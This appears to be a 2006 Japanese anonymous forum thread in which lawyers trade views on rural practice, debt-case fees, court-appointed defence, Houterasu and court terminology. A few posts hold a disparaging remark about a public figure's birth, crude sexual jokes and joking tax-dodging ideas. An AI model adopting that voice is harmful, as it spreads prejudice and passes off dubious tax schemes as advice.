地方じゃ、いきなり年俸1000万で雇ってくれる事務所はないし、年収数億みたいに稼ぐことはできん。
ただ、独立は圧倒的にしやすいし、物価も経費も安いから、そんなに稼がなくても十二分にやっていける。



69 :無責任な名無しさん:2006/05/02(火) 10:03:13 ID:der0gWLx
過払請求がなくても食うには困らんけどね。


70 :無責任な名無しさん:2006/05/02(火) 12:38:03 ID:sN9K/t/V
自分が食うには困らんけど、大量の任意整理&過払請求処理のために
増やした事務員を食わせるのに困る。

71 :無責任な名無しさん:2006/05/02(火) 12:46:59 ID:rU4tkJys
過払い請求が終わったらお終いという香具師は地方を知らない人間。
劣悪な環境にあっても、自分が今いる場所を天国だと思う旧ソ連や北朝鮮の人々のような存在。

72 :無責任な名無しさん:2006/05/02(火) 13:10:34 ID:T0If6Z9b
俺は田舎弁(独立4年目)だけど,
過払請求の報酬が売上に占める割合なんて
そんなに多くないよ。

73 :無責任な名無しさん:2006/05/02(火) 13:11:06 ID:gR5TwG4T
言葉の意味はよく分からんが、とにかくすごい自身ぜよ。

74 :無責任な名無しさん:2006/05/02(火) 13:33:37 ID:FJ4mm/ar
>>72
俺も田舎弁(弁護士4年目)だけど、確かに過払請求の報酬が
売上に占める割合は1割もないけど、破産負債整理関係の
着手金が売上に占める割合は7割近い気がする・・・
一般事件でいえば、金銭請求しようにも相手に資力がないことが
多いし、相続も農地とかばっかりで報酬もほとんど取れないような
事件も多いし。
正直、破産が増える以前は、弁護士は何をして食っていたんだろうと
疑問に思う。

75 :TN:2006/05/02(火) 13:51:00 ID:1p+us9AG
言葉が過ぎたかもしれないけど
地方で高収入を得られそうなのは過払い請求事件を大量にやるしかないというぐらいの意味ね
当然今の状況ならどこでも飯食うぐらいのことはできるし(今後はわからんが)
ただこれから弁護士になろうとしてる若い人のなかには
地方へ行けば過払い請求でウハウハと勘違いしてる人もいるようだし
同期で弁護士3人の支部にいる友人もいるから事情はある程度分かってる
(国選で大変だということも)

76 :無責任な名無しさん:2006/05/02(火) 14:02:48 ID:7Gne/Rfk
>>75
それは勘違い。

私は支部にいるけど,お隣の弁護士がやってることすら
よく分からない。



77 :無責任な名無しさん:2006/05/02(火) 14:51:14 ID:67XMeywb
ま,国選や扶助を取り合いしている東京の町弁よりは今のところマシ
ってのは間違いない

78 :無責任な名無しさん:2006/05/02(火) 16:20:09 ID:3Hys7nCQ
弁護士会の義務国選だから、やらなきゃと思い、朝9時40分ころに9階に行っても「地裁はもう終わりました」といわれるんだもんな。
よっぽど食えない弁護士がいるのかね、と思う。80才過ぎたような方々だろうか。

79 :無責任な名無しさん:2006/05/02(火) 16:24:54 ID:g4oouMHw
>>78
ほんとかいな。
国選の案内来てももう6・7年やってないけど,その方が良かったのか

80 :無責任な名無しさん:2006/05/02(火) 16:32:33 ID:p3w4U/4/
支部弁です。
うちの場合は、件数的には一般民事と多重債務が半々だという印象だけど、
売り上げだと一般民事の方が多いと思います。
一般民事は、たまにでかい事件がありますからね。交通事故とか遺産分割とか。
そういうのがないと厳しいかも。
事務員にボーナス支払ってあげられない。

81 :TN:2006/05/02(火) 17:22:30 ID:q3hjV8PK
いつも思うんだけど法令データ提供システムって更新遅いね
施行されてる会社法がまだ載ってない
コピーして携帯したいんだけど

82 :無責任な名無しさん:2006/05/02(火) 18:27:28 ID:9B99L+E4
 昨年末に、医療分野専門の弁護士になることについて相談させてもらった医師です。
そのまま、医師を続けることにしました。
今の技術を基に、より専門を深める技術を学べる病院に就職できました。
昨年は、すこし生意気なこともいってしまいましたけど、いろいろご教授頂きありがとうございました。

83 :無責任な名無しさん:2006/05/02(火) 18:40:22 ID:yQMj/Ns9
>>74
農地ばかりでも報酬を取るんだよ。
判決取れたら成功報酬もらうんだよ。

84 :無責任な名無しさん:2006/05/02(火) 18:52:02 ID:stZjmIZ1
田舎では都会みたいに一つの事件にバカみたいな時間をかけて、どうでもよいこと長々書いてる無駄に長い書面つくって、旧報酬表通りの金を取っていては弁護士できません
田舎では都会の事件の七掛け位の金しか取れないと考えた方がよいです
報酬を無理に取ったり裁判沙汰とかになったら、あの弁護士は金に汚いという評判がたってしまい、経営的にまずいです
都会でやってるのとはいろいろやり方を変えた方がよいと思います

85 :無責任な名無しさん:2006/05/02(火) 18:56:54 ID:Ag3htlI8
稼いでいると評判の弁護士の多くは報酬が高めである。

86 :無責任な名無しさん:2006/05/02(火) 19:19:45 ID:GUl5uAjN
田舎で報酬請求の裁判なんてやった日には
伝説になるな。

87 :無責任な名無しさん:2006/05/02(火) 20:03:50 ID:hhPnxLNP
10人程度の支部だけど、報酬請求の訴訟したくもなるけどね…
執行猶予事案の刑事事件で、なんでこんなに(30万円)取るんだとかゴネられた。
猶予事案にしては保釈が難しいし案件で、準抗告とか徹底的にやったし
接見も家族との打合せも相当時間を割いたんだが。あ〜胸糞わるい。
まあ、日弁連の報酬規定なくなるまでは、20万円にしてたし、
ここまでしなくても猶予は見込めたんだけどね。こんな事件受けなきゃ良かったと後悔。
債務整理でも、「引き直し計算したら減るのは当たり前なのに
何で報酬取るんだ」とか言う人がいるな

依頼者には低所得者が多いし、なかなかお金は取りにくい。
もともと人に金請求するのが苦手だし国選や扶助がありがたくなってきた。
しかし、その結果、かなり安物弁護士になってしまった。
細かい事件が続々来て、片付けるのも大変に。
金の請求だけはボスがやってくれたらいいのにな・・・

88 :無責任な名無しさん:2006/05/02(火) 20:04:35 ID:+ttrYcfa
>>62
まれに,今でも口座名に屋号だけ表示させる金融機関もある。

89 :無責任な名無しさん:2006/05/02(火) 20:26:38 ID:y37c0J61
 支部弁護士だが、任意整理で、引きなおし計算の結果減った分は報酬は貰わないなぁ。過払金返還請求で現実に取り返した分は別だけど。
その代わり、着手金は1社2〜3万よりは高いけどね。

 過払い金返還請求は、それ自体の報酬はそんなに多くないけど、普通であれば分割払いとなる任意整理の着手金が一括で回収できる点が魅力ですね。




90 :無責任な名無しさん:2006/05/02(火) 21:00:01 ID:hhPnxLNP
債務整理の着手金は一件2万円、夫婦・親子等
家族から同時に依頼なら15,000円にしてます
そのかわり、減額分の10%はもらいます。引き直しで当然減る分も
それ以上、交渉で減る分も含めてます(一括だと多少は減るので)
着手金多めに言うと用意できない人多いし。

しかし、本当にお金の請求って苦手なんだ
今回の被告人みたいに文句付けてこられるならもとから安い方がいいや、みたいに思うことも。
まあ、安い費用でも文句言う奴はいるんだけどね。


91 :無責任な名無しさん:2006/05/02(火) 21:18:06 ID:K/YORaY1
>>90
俺は,過払いがなければ1件2万円ポッキリ。
当たり前に減額できるのに,なんで比例的報酬を取れるんだ。
ちなみに,過払請求は受領額の5分の成功報酬。

俺なりの菩薩道の実践だと思っているw

92 :無責任な名無しさん:2006/05/02(火) 21:23:29 ID:hhPnxLNP
…ちょっとそれは安すぎるのではないでしょうか

93 :無責任な名無しさん:2006/05/02(火) 21:56:56 ID:g4oouMHw
>>91
当たり前ッたって,弁護士が入らないと現実に減らないんだから(特定調停でもすれば別),職務の正当な報酬だろ。
そんなこと言ったら弁護士のほとんどの報酬はゼロになる

94 :無責任な名無しさん:2006/05/02(火) 22:00:07 ID:Y5SDtoAY
>>58
>>63

 不当訴訟をされたら,不法行為を請求原因として,反訴してやればよい
のだ。そうしたら当方依頼者の反訴に弁護士費用相当額(消費税込みだか
10.05%)をくっつけることができる。

95 :無責任な名無しさん:2006/05/02(火) 22:06:38 ID:Y5SDtoAY
 数週間前,久しぶりにヤミ金処理の仕事があった。当職は,依頼者を安心させ
るために依頼者の面前で電話をかけまくり,「ばかやろ,取り立てに来るなら来
てみろ」と述べたり,「コレクトコール」で電話をかけまくったりする。
 で,ほとんどのヤミ金は,根負けして,「債権債務なし」となる。(ヤミ金つぶし1件
あたり1万円)過払い金請求というのか,「貸し付け元本と超違法利息を支払え」
と訴訟は,さすがに気力が続かない。福島の富山先生がやったみたいだけど・・・・。
 ヤミ金依頼者から「センセー 弁護士費用は今工面しています もう少し待ってくだ
さい」と涙声で言われ,仕方がないので,まだ猶予している。
 「ちゃんとお金を取ってください」と事務員さんに怒られている。

96 :無責任な名無しさん:2006/05/02(火) 22:11:46 ID:Y5SDtoAY
 口うるさい事務員さん(というか当職のマネージャー)もいないし,
妻子は実家に帰っている。嬉しいので,ワインを飲みまくっている。
 連休最終日には,某集団訴訟の陳述書を仕上げないといけないし,た
まっている起案は全部こなす。
 電話が来ない(留守電)の事務所ほど仕事のしやすい場所はない。

97 :無責任な名無しさん:2006/05/02(火) 22:21:35 ID:Y5SDtoAY
>>8
 修行が足りないね。私は,1999年12月31日に当番弁護士出動があ
った。往復280キロのドライブだ。帰りは,紅白歌合戦をラジオで聞きな
がら帰った。いわゆる「コンピューター200年問題(Y2K??)で紅白の合間
に小渕首相がの記者会見があった。
 その後商工会議所で,「2000年問題110番」で出向いたら,相談者が
一人もいなかった。5000円の日当もらって帰ったよ。

PS 漏れは当番弁護士の手配師(人夫出し)をやっているのだが,委員会派遣と
か苦労する。
 被疑者国選で「表名簿・裏名簿」とか色々あるわね。

98 :無責任な名無しさん:2006/05/02(火) 22:22:31 ID:GIw/s662
>>96
いいなあ……。
うちは、妻兼事務局長だからなあ……。
やるべき仕事を俺より把握してて、
「必要な記録は持ってきたから、家でやりなさい。あんたを一人で事務所においとくと、
どうせ遊んでるんだから。」
と来たもんだ。


99 :無責任な名無しさん:2006/05/02(火) 22:31:43 ID:4kJYRKit
過払いはたまに1000万前後戻ってくることあるからね。
これはおいしい。

100 :無責任な名無しさん:2006/05/02(火) 22:32:59 ID:Y5SDtoAY
>>50
 水戸黄門に出てくる悪徳商人(地元の代官と結託している)の屋号はた
いてい「さいかいや」というのだけどどういう字を書くのか不明なので,口座
差押えで難儀する。再開屋・最下位屋・崔海屋?
 関西方面から流れてきた裁判官が「この地方の方言は分からないので先生,翻訳
してくれませんか」というので「裁判官もX県民なのだから,これくらいの方言は,
理解していただかないと困ります」と言ってやった。

101 :無責任な名無しさん:2006/05/02(火) 22:44:00 ID:Y5SDtoAY
>>98
 何で自分の配偶者を事務所に雇うのだ? 青色申告をできるだけが唯一の恩
典で,所得全部がバレバレじゃないの。夜飲み歩くことも制止されるだろ? 
 私は,会内で「アンドロメダの夜の帝王」と呼ばれている。
 弁護士(というか自営業者)は配偶者に補足されない所得があるので,旨
みがあるのだ。

102 :無責任な名無しさん:2006/05/02(火) 22:53:06 ID:Y5SDtoAY
 俺は「<呆テラス>と絶対に契約しない」という同業者が数名いる。
 「その心意気や良し」とは思うけど,国選弁護の名簿作りで苦労する
のだ。刑弁委員会委員長が「俺が説得する」と言っている。
 漏れは,「保守反動抵抗勢力」だけど,色んな事情で「呆テラス」と
契約せざるを得ない(事務所長に脅迫された)。
 で,まだよく勉強してないけど「執行猶予確実な人」をベルトコンベ
ア式で判決言い渡すらしいけど,その弁護を押しつけられるらしい。
 何か「簡略式弁論要旨」を作って「反省の情顕著・被害弁償済・家族
の監督期待・偶発的犯行・原因において自由な行為」とかにレ点を付けるらしい。

103 :無責任な名無しさん:2006/05/02(火) 23:44:47 ID:eSQGJTL9
>>95
バカだね。ヤミ金に適当にあしらわれてるだけなのに。
そもそも振りこめ詐欺の事案とヤミ金の事案の区別ついてないし。
富山の事案は振りこめ詐欺だ。

104 :無責任な名無しさん:2006/05/03(水) 03:26:35 ID:xlyD6erh
>>102
「即決裁判手続」(刑訴350条の2〜14)ね。この秋にも施行される予定。

執行猶予だからって、簡単に判決出してもらって良いのかね?
この制度は再犯率を高める結果を招きそうだが・・・。

105 :無責任な名無しさん:2006/05/03(水) 07:15:20 ID:ZRjHbTyb
>>102
埼玉は会をあげて法テラスに協力しないらしいよ。

106 :無責任な名無しさん:2006/05/03(水) 08:51:24 ID:Oefs1z8L
富山の弁護士って例の人?

107 :無責任な名無しさん:2006/05/03(水) 10:21:42 ID:CF4cX2sF
いつ変わったの?
某会 いなくなってよかったね。

108 :無責任な名無しさん:2006/05/03(水) 10:47:00 ID:2GtUTt6T
 依頼が来た簡易な手続きの管財事件で、あと50万円くらいは自由財産拡張ができるのに、申立代理人が行っていない事例がある。
免責が危なくて、拡張申立しないから免責してというわけでもない。
 こういう場合、言ってあげたほうがいいのだろうか。

109 :無責任な名無しさん:2006/05/03(水) 11:32:11 ID:h1iAX9Z5
弁護人も求刑せよって
ttp://headlines.yahoo.co.jp/hl?a=20060502-00000137-jij-soci

110 :無責任な名無しさん:2006/05/03(水) 11:35:10 ID:2Om4YQWt
量刑データベースを用意してくれないと
自信をもって求刑できないよね

111 :無責任な名無しさん:2006/05/03(水) 13:28:14 ID:xlyD6erh
>>108
そこまでしてやる必要ないんじゃない?
それで管財人報酬が増えるとも思えないし。

>>109-110
これって実際には裁判官の判断の下限を縛ってしまうよな。
裁判官が「ぎりぎり執行猶予でも良いかも」と思っているのに、
弁護人が短期の実刑を主張してしまうと弁護過誤になりはせんか?

112 :無責任な名無しさん:2006/05/03(水) 13:31:45 ID:qEYm/Jm9
>>111
法律上、執行猶予が可能なら、間違いなく猶予が相当っていうだろう。
懲役1年で猶予なのか、懲役2年で猶予なのかという話では?

113 :無責任な名無しさん:2006/05/03(水) 14:45:00 ID:o/ghnu02
法定刑の下限(もちろん執行猶予も下限)をとりあえず主張するかな。

114 :無責任な名無しさん:2006/05/03(水) 15:31:29 ID:xlyD6erh
で、うっかり強盗致傷でも「懲役6年が相当である」とやっちゃうんですよねw

115 :無責任な名無しさん:2006/05/03(水) 16:04:58 ID:qEYm/Jm9
まあ、登録して2、3年ころまでは、法律上猶予がありえないケースでも
「再度の執行猶予を賜りたい」なんて言ってたけどな。

116 :無責任な名無しさん:2006/05/03(水) 16:12:09 ID:IAbt3zGv
数年前に一弁が国選の報告書をまとめた
量刑資料冊子を作ってたけど
あの続編って出ないのかな?

117 :無責任な名無しさん:2006/05/03(水) 17:43:05 ID:may4wFOx
反訴とか相殺とか絡むと報酬設定難しくないですか?

100万円の請求をしてそれ自体に争いはなく,全然無関係
の200万円の債権を主張(反訴)されて結局負けた場合って,
実質的には完全勝訴だろうと思っているのだが,請求棄却
なので現実的に成功報酬は請求しにくい。着手金に至って
は,相手方はまず応訴の着手金,これに加えて反訴の着手
金ってかんじでとりやすいとおもうんだけど,こっちが先攻の
場合は反訴の着手金が非常に取りにくい。


118 :無責任な名無しさん:2006/05/03(水) 19:12:38 ID:mzY7AbOP
富山の弁護士のこと、ばらそうかな。

119 :無責任な名無しさん:2006/05/03(水) 19:30:22 ID:MMSLbMXC
聞きたいです!

120 :無責任な名無しさん:2006/05/04(木) 12:03:58 ID:qvOpho0M
>>115

 「賜りたい」なんて言う言葉を使うのはいかがなものかと思われ。
 私は弁論要旨では,「本件については,執行猶予が相当と思料する。」と書く。
 「上申書」とか,そういう封建的な用語は廃止すれ。

121 :無責任な名無しさん:2006/05/04(木) 12:36:28 ID:k1FMDKA6
>>120
たまに書記官から「上申してください。」「上申書を出してください。」
と言われると,びっくりしますよね。

122 :無責任な名無しさん:2006/05/04(木) 13:14:15 ID:fly8XEZ9
これからは,×上申書,○陳述書・意見書がいい希ガス

123 :無責任な名無しさん:2006/05/04(木) 14:03:38 ID:7g3klmY+
>>117
事前の説明をちゃんとしましょう



ま、した上で取りにくいのは確かです

124 :無責任な名無しさん:2006/05/04(木) 14:50:24 ID:PfghnRZ6
昨日、報道ステーションに出てた女性裁判官が研修してる法律事務所、AMTだな。
やっぱり大事務所指向なのか、渉外は初任給が高いからなのか。
できれば裁判官にはマチベン事務所で、個人の顧客の現実を見てもらいたいと
思うんだが。

125 :無責任な名無しさん:2006/05/04(木) 16:31:10 ID:sYm2I6Yl
>>124
御意
特に弁護士過疎地域とかね。

126 :無責任な名無しさん:2006/05/04(木) 17:19:42 ID:+qLZtRzv
>>124
広島にいた美人の人?

127 :無責任な名無しさん:2006/05/04(木) 17:39:37 ID:PfghnRZ6
>>126
そう。

128 :無責任な名無しさん:2006/05/04(木) 17:58:46 ID:l1MMnBmc
>>124
大体渉外は本来の弁護士業務じゃないだろ。優秀だという幻想の元の資格詐欺みたいな仕事
仕事内容は別に弁護士の訓練がなくても出来ることばかり。まあ処理能力・スピードは必要だけどね

129 :無責任な名無しさん:2006/05/04(木) 18:55:09 ID:7g3klmY+
訴訟案件とか言うのも、ぐちゃぐちゃになってる奴とかやってもらいたいよね。
あれで知ったような気になられるのが嫌だな

130 :無責任な名無しさん:2006/05/04(木) 19:59:44 ID:KY2CCMl5
>123
ごめん。報酬の設定の問題で,反訴起こされたときは追加の着手金を取ったり,
葬祭で負けたときは債権を回収したものとして報酬もらえるような契約にしてる?

131 :無責任な名無しさん:2006/05/04(木) 22:38:52 ID:Yx4oHR4O
弁護士ドラマでは
くずがダントツだな。
これだけは面白く見られる。

132 :無責任な名無しさん:2006/05/04(木) 23:38:28 ID:GckBxjeu
平成18年4月25日(火)決算行政監視委員会において、
民主党・無所属クラブの森本哲生は、
行政書士への商業登記開放について、

「各士業の皆さんの役割が混在をしないように慎重に検討をしていただくことが必要であるというふうに一言申し上げさせていただいておきます。」

との意見を表明した。よって、民主党は行政書士の敵である。

議事録
http://www.shugiin.go.jp/itdb_kaigiroku.nsf/html/kaigiroku/005816420060425004.htm?OpenDocument

133 :無責任な名無しさん:2006/05/05(金) 00:39:27 ID:ugyWdndP
>>130
反訴の時には契約書巻いてる
相殺はやってなかったので今後注意します(最近相殺のありそうな反訴をやってない)。

134 :無責任な名無しさん:2006/05/05(金) 11:48:35 ID:o3kCcGWE
弁護士のくず、ドラマは見てないけど、原作の漫画は結構面白いね。


135 :無責任な名無しさん:2006/05/05(金) 17:05:16 ID:CH+Tg0nf
正義云々は裁判で勝った者が後から言うこじつけだってさ
くず先生

136 :TN:2006/05/05(金) 17:34:02 ID:D4bFELRZ
正義とは悪事を正当化する理由付として使われることが多い

137 :無責任な名無しさん:2006/05/05(金) 17:45:52 ID:fbVCfNU3
>> ○陳述書・意見書がいい希ガス

挑戦状・脅迫書・申入書・反論書

がより良いと思料され。



138 :無責任な名無しさん:2006/05/05(金) 22:45:46 ID:enaEBYl3
弁護士のくず、視聴率はそんなに良くないらしいが
我々の間では評判いいので見た。確かに面白い。
ボスとイソ弁(トヨエツ除く)の関係は、結構典型的な感じだ。
原作は読んでないが、作者か監修者だかが実態をよく知ってるのだろう。

139 :無責任な名無しさん:2006/05/05(金) 23:02:34 ID:9TGHrnHB
証人尋問のときの検事の「誤導です!」のタイミングが良かったね>くず
そのあとは意見押しつけ・弁論型の最悪の尋問だったがw

140 :無責任な名無しさん:2006/05/06(土) 00:16:28 ID:JF22sjAS
とはいえ意見押しつけ弁論型みたいな感じの弁論になっちゃうことが多いよな
最近は、自分の方の証人でも、何言うか信用できない奴がなぜか多くて(年寄りとか嘘つきとか)、
意見押しつけをよくやってるね。

141 :無責任な名無しさん:2006/05/06(土) 08:26:12 ID:w2NQ5xak
ひがし弁は,刑事弁護委員会人事を法テラス翼賛のためにねじ曲げたんですって?


142 :TN:2006/05/06(土) 08:49:39 ID:t2zQhCC8
そんなものねじ曲げられるの?
だいたい委員会内部の力関係で決まるもんじゃないの?
もともと出世欲旺盛なマンセー派がそろってただけじゃない?


143 :無責任な名無しさん:2006/05/06(土) 10:59:49 ID:T0lGxkxl
>>137
「挑戦状」ワロタ。
こんど使ってみる。

144 :無責任な名無しさん:2006/05/06(土) 12:19:38 ID:0njkRg+V
上申書作成中の表題に、「挑戦状」と書く人が出てきそう。
で、完成時に上申書に直して出すわけだが、直し忘れて事務員に「せんせ。このまま出して
いいんですか?」って突っ込まれたりしてw

145 :無責任な名無しさん:2006/05/06(土) 12:50:18 ID:sFJ6lDi9
>>142TN先生
どこかのスレッドに書いてあったけど,法テラスに反対する刑事弁護委員会に業を煮やした答弁執行部が,
普段は委員会に出ない名前だけの刑弁委員を総動員して執行部賛成派の委員長・副委員長を選任したとか。

146 :TN:2006/05/06(土) 13:05:45 ID:xBt7hMXU
145さん、情報ありがとう
会長のお膝下がそんな状態じゃ先が思いやられるね
10月にまともに国選扶助が運営できない単位会も相当出てくるんじゃないの
まあ今後は扶助国選は弁護士会の仕事じゃなくなるわけだから
一会員としては気楽は気楽だけどね

147 :無責任な名無しさん:2006/05/06(土) 16:29:44 ID:wAWhb5Nj
>>144
事務員が突っ込んでくれなかったりして

148 :無責任な名無しさん:2006/05/06(土) 18:19:44 ID:FJK2/1fA
女弁護士 立花里子
http://www.punyu.com/puny/daily_html/online/200605/06on.html

149 :無責任な名無しさん:2006/05/07(日) 12:44:08 ID:a2rLnmMW
>>146
10月でそんなこと言っていたら、3年後の本格稼働時には
大変なことになると思われ。必要的弁護事件全件が対象になる
わけだから・・・(当職の地元では全弁護士に均等に分配して
も年10件余り)。

150 :無責任な名無しさん:2006/05/07(日) 12:48:18 ID:z4UO1uhp
トヨエツみたいな弁護士って実際いるんですか?
いるとしたら、何%くらいいるの?

151 :無責任な名無しさん:2006/05/07(日) 13:30:57 ID:gyQTMs6G
>>249
3年後には法テラスの専属スタッフも充実してるはずだから心配ないですよ。
国選専従の新人弁護士が一人百件ぐらいこなしてくれるはずです。

152 :無責任な名無しさん:2006/05/07(日) 15:42:05 ID:GJ+auJW9
>>146
むしろ会長のお膝元だからこそという感じでしょう(笑)。

日弁連執行部は,司法書士の食い込みに危機感を持っているようです。
鳥取でやった試行でも,司法書士が無償でも良いからと受け皿をつくったらしい。


153 :無責任な名無しさん:2006/05/07(日) 19:23:47 ID:nMJxPe++
法テラスって,専属の弁護士が付いて,国選扶助をやってくれる構想だっだんだ。
そもそも全くそんな期待はしてなかった。当方地方中規模会。

154 :無責任な名無しさん:2006/05/08(月) 01:05:12 ID:M13u+7HQ
今日(てゆうか昨日か)橋下弁護士が阿川佐和子に対して
「阿川さん、僕は貴女を一回で妊娠させる自信があります」って言ってたけど
ありゃなんだ・・・

155 :無責任な名無しさん:2006/05/08(月) 01:10:45 ID:DLExfcY3
>>154
さすがに最近の阿川佐和子のアップを見るともう耐用年数は過ぎたような...ってそういう話ではないのか

156 :無責任な名無しさん:2006/05/08(月) 06:33:28 ID:x8ZTwfFe
出自が賤しいんだから仕方がない。大目に見てやれ。

157 :TN:2006/05/08(月) 06:54:04 ID:+DMlT1dG
>>153
毎年新人を法テラスで雇用するらしいね
だから今後は主にその人たちが国選と扶助をやる
万一なり手がいなくても法テラスの責任であって弁護士会の責任ではない

158 :無責任な名無しさん:2006/05/08(月) 10:09:30 ID:jmUPu0vL
体がだるい。
子供のいる連休は結構辛いものがあることを知った。

159 :無責任な名無しさん:2006/05/08(月) 17:21:02 ID:1nHQagAd
>>146 外
 今日届いた法律新聞に詳しく出ているね。

160 :無責任な名無しさん:2006/05/08(月) 17:53:11 ID:xRPQU+DS
この山形の事務所、弁護士1事務員10らしいが、そこまでしないと生き残れないのかな?
ttp://www.funaisoken.co.jp/seminer/seminer_3/SE2018.html
ttp://www.funaisoken.co.jp/seminer/seminer_4/LE1/SE2018.html
徹底公開!事務局10名の事務所経営。これが噂の事務局マニュアルだ!

訴訟事件で、弁護士が「君、ここ反論書いてくれ!」なんて事務員に指示するのか?


161 :無責任な名無しさん:2006/05/08(月) 18:02:32 ID:j4CRS2yB
俺の仕事の大半は雑用だし,とはいえ事務員の養成が追いつかないのも確かだ

>>160が言ってるのもよくわかる

ま,僕はイソ弁です

162 :無責任な名無しさん:2006/05/08(月) 21:30:08 ID:1nHQagAd
 良くわかんないけど,ほんの2−3分前,ヒマラヤ性豪(公印省略)から,「お願い」と題する
書面がFAX送付された。良くわかんないけど「ホイトラストと常勤スタッフ弁護士養成事務所の推薦
について」というものだ。
 まだ書類を厳密に読み込んでいないけど,「新人弁護士を採用し,または養成を行った養成
事務所」に100万円くれるらしい。月に100万円くれるなら立候補しても良いけど・・・。
 誰か,受け入れ事務所ある? 最初からホイトラストに専属しようなんて気概を持った修習生なん
て,クリープを入れないコーヒーのような希ガス。 

163 :無責任な名無しさん:2006/05/08(月) 21:41:55 ID:u7DpzdXJ
年100万だろ。
結構応募する事務所あると思うよ。
持参金つきのイソ弁なんてそうはないしね。
扶助国選の報酬を全部事務所に入れさせれば結構もうかるんじゃないか。



164 :無責任な名無しさん:2006/05/08(月) 22:00:39 ID:1nHQagAd
 話違うけど,日弁連委員会とか○○本部とかの合宿で熱海を使うのいい加減止めて
くれないか? そりゃ東京在住の弁護士にとっては,近場だろうけどね。食い物はまず
いし,遊び場所もないし,景色も見飽きた。今日「合宿(場所未定)」の案内があったが,
「熱海だけはやめれ。」と書いておいた。

165 :無責任な名無しさん:2006/05/08(月) 22:07:14 ID:1nHQagAd
 答弁軽便委員会の人事ではT・A先生(元単位会副会長)が絡んで
いるらしい。同氏が推薦した人が委員長なったそうだ。あたしゃ,
T/A氏とは個人的には仲が悪くないのだが・・・。
 だいたい,地方都市単位会でこんなドロドロした委員長人選てあ
るかい? 町内会やPTA人事みたいなものだぜ。
 一畳の会関係者が懲戒請求されたとき,さすがに私は,懲戒され
た側の代理人になったね。


166 :無責任な名無しさん:2006/05/08(月) 22:11:53 ID:1nHQagAd
>>36

 じん肺(トンネル?)は,誇りを持って取り組むべき仕事だよ。漏れも
連休中に職歴書面を仕上げたが,「貫通升」8個くらい預かった。

167 :無責任な名無しさん:2006/05/08(月) 22:38:55 ID:1nHQagAd
 某単位会では「上申書」じゃなくて「下達書」「通達書」という表題を流行らせようという運動をやって
いる。「判決下される」とか「言渡」「上記期日に相違なく出頭いたします」とか無意識的に封建的言い回
しを受け入れている同業者って多くないかい?
 漏れは「最近御庁で言い渡された有罪判決が高裁において破棄無罪となった。このようなことが二度とな
いように祈るばかりである」との記載がある弁論要旨を提出したところ,誤判した裁判官から「この部分は削
除していただきたい」と言われたので,「畏まりました」と述べて,一太郎で抹消線を引いたうえに「削2行」
と注記して訂正印を押してやった。

168 :無責任な名無しさん:2006/05/08(月) 22:55:19 ID:1nHQagAd
funaisoken
経営コンサルタント 船井幸雄 だろ? 一昔前,「カルト資本主義」という本で
叩かれた人だよ。下流ビジネスマン・零細企業経営者相手に「エゴからエヴァへ」と
か言う啓発本を出している人だ。あんなものの講師になったら,消費者保護関係弁護士か
ら色々言われると思うね。弁護士は「税理士」を兼務しているならともかく,事務
員さんを(対弁護士比)5倍以上雇うものじゃないですよ。
うちの事務員さんは,ある種の理系的知識記に精しく英語もびしばしできる。もう一人は,
銀行出身でファイナンシャル・プランナーの資格もあるので,経理処理とか札束の勘定(易
者みたいにして札を捌く)とか,債務整理関係で働いてくれている。
一人あたりの人件費はそれなりに払っている。もう一人,労災とかオンブズマン関係で弁護士
以上に精しい人がいて,非常勤事務員をお願いしている。

 弁護士に登録すると「見たことも聴いたこともない雑誌」(ダイモンマサアキという男優)か
らインタビュー申し入れとかあるけど注意した方がよい。

169 :無責任な名無しさん:2006/05/08(月) 23:27:42 ID:1nHQagAd
 弁護士になるまでの経費をB/Sの無形固定資産に計上して,毎年減価償
却すれば良い。あぁ,節税対策じゃないか?
 某弁護士会会員は,弁護士(個人)が購入したゴルフ会員権を弁護士法
人に高額で買い取らせたそうだ。

170 :無責任な名無しさん:2006/05/08(月) 23:28:46 ID:mesf3XHk
「仕事が忙しくて彼女ができない」と常々言ってるような奴は、
もし明日から仕事が暇になったとしても、彼女は出来ない。
一方、彼女を作れるような奴は、多忙で過労でも作れる。

「ブサイクだから彼女ができない」と常々言ってるような奴は、
もしある日突然イケメンになったとしても、彼女は出来ない。
一方、彼女を作れるような奴は、ブサでもそれなりに作れる。

「金がなくて彼女ができない」と常々言ってるような奴は、
もし宝くじで3億円当たったとしても、彼女は出来ない。
一方、彼女を作れるような奴は、無職で貧乏でも作れる。

「ヲタクだから彼女ができない」と常々言ってるような奴は、
もし全部捨てて脱ヲタに走ったとしても、彼女は出来ない。
一方、彼女を作れるような奴は、ヲタでもヒキでも作れる。

「周りに女いなくて彼女ができない」と常々言ってるような奴は、
もし女ばかりの職場に放り込まれたとしても、彼女は出来ない。
一方、彼女を作れるような奴は、どこかで彼女見つけてくる。

「合コンに誘われないから彼女ができない」と常々言ってるような奴は、
もし誘われてもグダグダ理由つけて行かないから、彼女は出来ない。
一方、彼女を作れるような奴は、万難を排してとりあえず行く。

「もてないから彼女ができない」と常々言ってるような奴は、
もてないんだから、こればかりはどうしようもない。
一方、彼女を作れるような奴は、要するに、もてる奴だ。

171 :無責任な名無しさん:2006/05/09(火) 00:14:25 ID:cNPNW23b
弁護士って「性欲」はどれくらいあるんかい。

>>148
>>154

なんて「減価償却済」「残存価値10万円」と確定申告すればスルーパスだよね。
 実証主義的に考察すれば配偶者とオメンコすると,一回あたり2万円 弁護士
が妻以外の女性に払うお金は「交際費」では落とせないの訳ではないかも知れな
いので,(以下自粛)。

 ともかく最近の「法曹養成計画」を見ると,自分の子どもは弁護士になっても
らいたくない。「法医学者」か「法哲学者」か「カトリック教会法学者・プロテ
スタント神学者」とか「ダム建設技師」とか「真っ当なカタギの仕事」についてほしい。儚い夢。 


172 :無責任な名無しさん:2006/05/09(火) 10:32:52 ID:xvntzwb4
>>167
地方じゃ、裁判所とそんな喧嘩する度胸は無いなあ。
書記官の人たちと仲良くやっていかないと、仕事にならんし。

裁判官も地方じゃ担当するのが決まってるからなあ。
修習生のころ、評判の悪い裁判官がいたんだが、それにぶちきれた弁護士がその裁判官
のことをボロクソに言って抗告したら、それ以降かなり嫌がらせされたそうだし。
刑事裁判なんかは、執行猶予が微妙なケースでは裁判官の機嫌次第のところもあるし、
そこまで喧嘩はできんなあ。


173 :無責任な名無しさん:2006/05/09(火) 12:11:19 ID:8vnsFewv
私は人を差別する人間ですから,良い裁判官だと思ったら「上申書」,悪い裁判官には「申立書」「意見書」と使い分けます。

174 :無責任な名無しさん:2006/05/09(火) 15:54:48 ID:+QzZRi9D
「上申書」出してるなぁ。刑事で「賜る」とかも使ってる。
